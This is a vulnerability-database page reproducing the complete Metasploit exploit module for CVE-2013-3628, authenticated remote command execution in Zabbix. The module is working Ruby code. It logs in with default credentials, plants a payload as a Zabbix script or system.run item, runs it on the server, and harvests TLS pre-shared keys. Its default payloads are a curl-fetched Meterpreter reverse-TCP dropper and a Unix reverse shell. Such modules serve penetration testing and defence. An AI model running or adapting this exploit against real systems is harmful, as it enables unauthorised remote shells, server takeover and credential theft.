Lucene search
K

Zabbix Authenticated Remote Command Execution

🗓️ 30 Oct 2013 15:25:48Reported by Brandon Perry <[email protected]>, lap1nou <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 82 Views

Zabbix Authenticated Remote Command Execution allows an attacker to run arbitrary scripts on ZABBIX hosts

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Zabbix Authenticated Remote Command Execution Vulnerability
31 Oct 201300:00
zdt
Circl
CVE-2013-3628
31 Oct 201300:00
circl
CVE
CVE-2013-3628
7 Feb 202014:19
cve
Cvelist
CVE-2013-3628
7 Feb 202014:19
cvelist
Exploit DB
Zabbix - (Authenticated) Remote Command Execution (Metasploit)
31 Oct 201300:00
exploitdb
NVD
CVE-2013-3628
7 Feb 202015:15
nvd
Packet Storm
Zabbix Authenticated Remote Command Execution
30 Oct 201300:00
packetstorm
Prion
Command injection
7 Feb 202015:15
prion
RedhatCVE
CVE-2013-3628
22 May 202511:29
redhatcve
SUSE CVE
SUSE CVE-2013-3628
15 Feb 202305:37
susecve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zabbix Authenticated Remote Command Execution',
        'Description' => %q{
          ZABBIX allows an administrator to create scripts that will be run on hosts.
          An authenticated attacker can create a script containing a payload, then a host
          with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.

          This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
          'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
        ],
        'References' => [
          ['CVE', '2013-3628'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
        ],

        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'curl',
                'MeterpreterTryToFork' => true,
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ]
        ],
        'DisclosureDate' => '2013-10-30',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 60 },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
        OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
        OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
        OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
        OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
        OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
      ]
    )
  end

  def check
    auth_token = login
    zabbix_version = get_version

    str = rand_text_alpha(18)

    script_id = create_script(auth_token, zabbix_version, "echo #{str}")
    group_id = find_group_id(auth_token)
    host_id = create_host(auth_token, group_id)

    resp = execute_script(auth_token, host_id, script_id)

    if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def send_json_api_request(method, auth_token = nil, params = {})
    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
      'data' => {
        'auth' => auth_token,
        'id' => 1,
        'jsonrpc' => '2.0',
        'method' => method,
        'params' => params
      }.to_json,
      'ctype' => 'application/json-rpc'
    })

    fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?

    json_document = resp.get_json_document

    fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?

    return json_document
  end

  def get_interfaceid(auth_token, host_id)
    params = {
      'hostids' => host_id,
      'output' => 'extend'
    }

    resp = send_json_api_request('hostinterface.get', auth_token, params)

    return resp['result'][0]['interfaceid']
  end

  def create_item(auth_token, host_id, payload)
    interface_id = get_interfaceid(auth_token, host_id)
    item_title = rand_text_alpha(18)
    @item_title = item_title

    print_status("Creating an item called #{item_title}")

    params = {
      'delay' => 30,
      'hostid' => host_id,
      'interfaceid' => interface_id,
      'key_' => "system.run[#{payload},nowait]",
      'name' => item_title,
      'type' => 0,
      'value_type' => 3
    }

    send_json_api_request('item.create', auth_token, params)

    vprint_good('Successfully created an item')
  end

  def create_script(auth_token, zabbix_version, payload)
    script_title = rand_text_alpha(18)
    @script_title = script_title

    print_status("Creating a script called #{script_title}")

    params = {
      'command' => payload,
      'name' => script_title,
      'type' => 0
    }

    if zabbix_version >= Rex::Version.new('5.4.0')
      params[:scope] = 2
    end

    resp = send_json_api_request('script.create', auth_token, params)
    script_id = resp.dig('result', 'scriptids', 0)
    @script_id = script_id

    return script_id
  end

  def execute_script(auth_token, host_id, script_id)
    print_status('Executing the script...')

    retry_until_truthy(timeout: datastore['TIMEOUT']) do
      params = {
        'scriptid' => script_id.to_s,
        'hostid' => host_id.to_s
      }

      resp = send_json_api_request('script.execute', auth_token, params)

      next if !resp['error'].nil?

      return resp
    end
  end

  def find_tls_psk(auth_token)
    print_status('Searching for a TLS PSK (pre-shared key)...')

    resp = send_json_api_request('host.get', auth_token)

    # Searching for a PSK
    resp['result'].each do |host|
      next if host['tls_psk'].to_s.strip.empty?

      print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
      datastore['TLS_PSK'] = host['tls_psk']
      datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
      break
    end
  end

  def exploit_script(auth_token, zabbix_version)
    case target['Type']
    when :unix_cmd
      script_id = create_script(auth_token, zabbix_version, payload.encoded)
    when :linux_dropper
      script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
    end

    group_id = find_group_id(auth_token)
    host_id = create_host(auth_token, group_id)

    execute_script(auth_token, host_id, script_id)
  end

  def exploit_item(auth_token)
    group_id = find_group_id(auth_token)

    if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
      find_tls_psk(auth_token)
    end

    host_id = create_host(auth_token, group_id)

    case target['Type']
    when :unix_cmd
      create_item(auth_token, host_id, payload.encoded)
    when :linux_dropper
      create_item(auth_token, host_id, generate_cmdstager.join)
    end
  end

  def find_group_id(auth_token)
    print_status('Getting a valid group id...')

    params = {
      'output' => 'extend'
    }

    resp = send_json_api_request('hostgroup.get', auth_token, params)

    group_id = resp.dig('result', 0, 'groupid')
    @group_id = group_id

    if !group_id.nil?
      vprint_good('Successfully got a valid groupid')
    end

    return group_id
  end

  def create_host(auth_token, group_id)
    host = rand_text_alpha(18)
    @host_name = host

    print_status("Creating a host called #{host}")

    params = {
      'groups' => [
        {
          'groupid' => group_id
        }
      ],
      'host' => host,
      'interfaces' => [
        {
          'dns' => '',
          'ip' => '127.0.0.1',
          'main' => 1,
          'port' => '10050',
          'type' => 1,
          'useip' => 1
        }
      ]
    }

    if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
      params[:tls_connect] = 2
      params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
      params[:tls_psk] = datastore['TLS_PSK']
    end

    resp = send_json_api_request('host.create', auth_token, params)

    host_id = resp.dig('result', 'hostids', 0)
    @host_id = host_id

    vprint_good('Successfully created an host')

    return host_id
  end

  def login
    params = {
      'password' => datastore['PASSWORD'],
      'user' => datastore['USERNAME']
    }

    resp = send_json_api_request('user.login', nil, params)

    auth_token = resp['result']
    @auth_token = auth_token

    if !auth_token.nil?
      print_good('Successfully logged in')
    end

    return auth_token
  end

  def get_version
    resp = send_json_api_request('apiinfo.version')

    version = Rex::Version.new(resp['result'])
    @zabbix_version = version

    if !version.nil?
      vprint_status("Zabbix version number #{version}")
    end

    return version
  end

  def exploit
    version = get_version
    auth_token = login

    if datastore['TECHNIQUE'] == 'script'
      exploit_script(auth_token, version)
    elsif datastore['TECHNIQUE'] == 'item'
      exploit_item(auth_token)
    end
  end

  def delete_host(auth_token, host_id, host_name, zabbix_version)
    params = {}

    if zabbix_version < Rex::Version.new('2.2.0')
      params = [ { 'hostid' => host_id } ]
    else
      params = [ host_id ]
    end

    resp = send_json_api_request('host.delete', auth_token, params)

    if !resp['result'].nil?
      vprint_good("Successfully deleted '#{host_name}' host")
    else
      print_warning("Couldn't delete the host '#{host_name}'")
    end
  end

  def delete_script(auth_token, script_id, script_title)
    params = [ script_id ]

    resp = send_json_api_request('script.delete', auth_token, params)

    if !resp['result'].nil?
      vprint_good("Successfully deleted '#{script_title}' script")
    else
      print_warning("Couldn't delete the script '#{script_title}'")
    end
  end

  def cleanup
    return unless @host_id

    delete_host(@auth_token, @host_id, @host_name, @zabbix_version)

    return unless @script_id

    delete_script(@auth_token, @script_id, @script_title)
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation